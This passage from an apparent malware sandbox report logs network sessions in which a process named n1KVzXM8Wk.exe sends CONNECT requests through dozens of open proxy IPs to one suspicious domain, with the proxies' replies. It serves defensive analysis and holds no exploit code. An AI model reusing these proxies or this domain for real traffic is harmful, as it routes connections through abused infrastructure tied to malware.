type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
676	192.168.2.4	51972	218.57.210.186	9002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.645370007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.037847996 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:27:55 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
677	192.168.2.4	52198	12.186.205.120	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.649912119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.783005953 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.1 Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
678	192.168.2.4	51351	173.212.209.49	36790	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.653841972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.680881977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
679	192.168.2.4	52070	106.14.124.29	81	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.655103922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.993109941 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
680	192.168.2.4	52108	34.92.12.210	9238	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.655616999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.651510000 CET	28	IN	HTTP/1.1 502 Bad Gateway

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
681	192.168.2.4	52186	72.206.181.123	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.682172060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
682	192.168.2.4	52187	98.162.25.23	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.682692051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
683	192.168.2.4	51375	115.74.153.4	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.683305025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
684	192.168.2.4	52151	93.126.56.30	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.683509111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
685	192.168.2.4	52159	93.90.212.2	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.695103884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
686	192.168.2.4	52150	103.146.137.9	1081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.700948954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
687	192.168.2.4	52234	185.162.228.170	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.701011896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.788229942 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
688	192.168.2.4	52220	45.196.151.93	5432	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.701775074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.799381018 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
689	192.168.2.4	51450	162.241.46.40	62244	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.712460995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.740675926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.834678888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.834769011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
690	192.168.2.4	52194	146.59.2.185	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.712866068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
691	192.168.2.4	52160	94.20.183.172	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.713403940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
692	192.168.2.4	52254	104.16.106.234	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.713633060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.801222086 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
693	192.168.2.4	52148	8.213.128.90	8089	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.721736908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.023554087 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
694	192.168.2.4	52235	172.245.16.47	15673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.723391056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
695	192.168.2.4	52125	103.119.55.216	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.723911047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.019804001 CET	19	IN	HTTP/1.1 200 OK
Feb 23, 2024 09:45:23.019968987 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
696	192.168.2.4	52268	188.114.99.37	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.729721069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.819134951 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
697	192.168.2.4	52139	106.51.62.106	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.729727983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.816668987 CET	220	IN	HTTP/1.0 403 Banned site: Content-Type: text/html<HTML><HEAD><TITLE>DansGuardian - Banned site: </TITLE></HEAD><BODY><H1>DansGuardian - Banned site: </H1>https://heygirlisheeverythingyouwantedinaman.com</BODY></HTML> Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
698	192.168.2.4	51305	159.65.217.192	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.729815960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.823661089 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
699	192.168.2.4	51716	184.170.245.148	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.741082907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
700	192.168.2.4	52276	104.20.75.132	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.741792917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.831955910 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
701	192.168.2.4	52162	58.234.116.197	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.742058039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
702	192.168.2.4	52129	39.105.27.30	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.742208958 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:22.114006996 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
703	192.168.2.4	52287	45.196.150.46	5432	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.758639097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.853363991 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
704	192.168.2.4	52227	51.210.223.9	3000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.758933067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
705	192.168.2.4	52319	172.67.181.37	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.761950016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.849504948 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
706	192.168.2.4	52218	142.54.229.249	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.766174078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
707	192.168.2.4	52248	148.72.23.56	36111	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.766206980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.366048098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.866153002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
708	192.168.2.4	52289	172.245.159.177	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.766273975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.869168043 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx/1.9.9 Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 172 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 39 2e 39 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.9.9</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
709	192.168.2.4	52231	162.240.76.92	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.775170088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.334464073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.893872023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.122097969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.444032907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
710	192.168.2.4	51472	92.204.135.37	33899	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.785296917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.865714073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
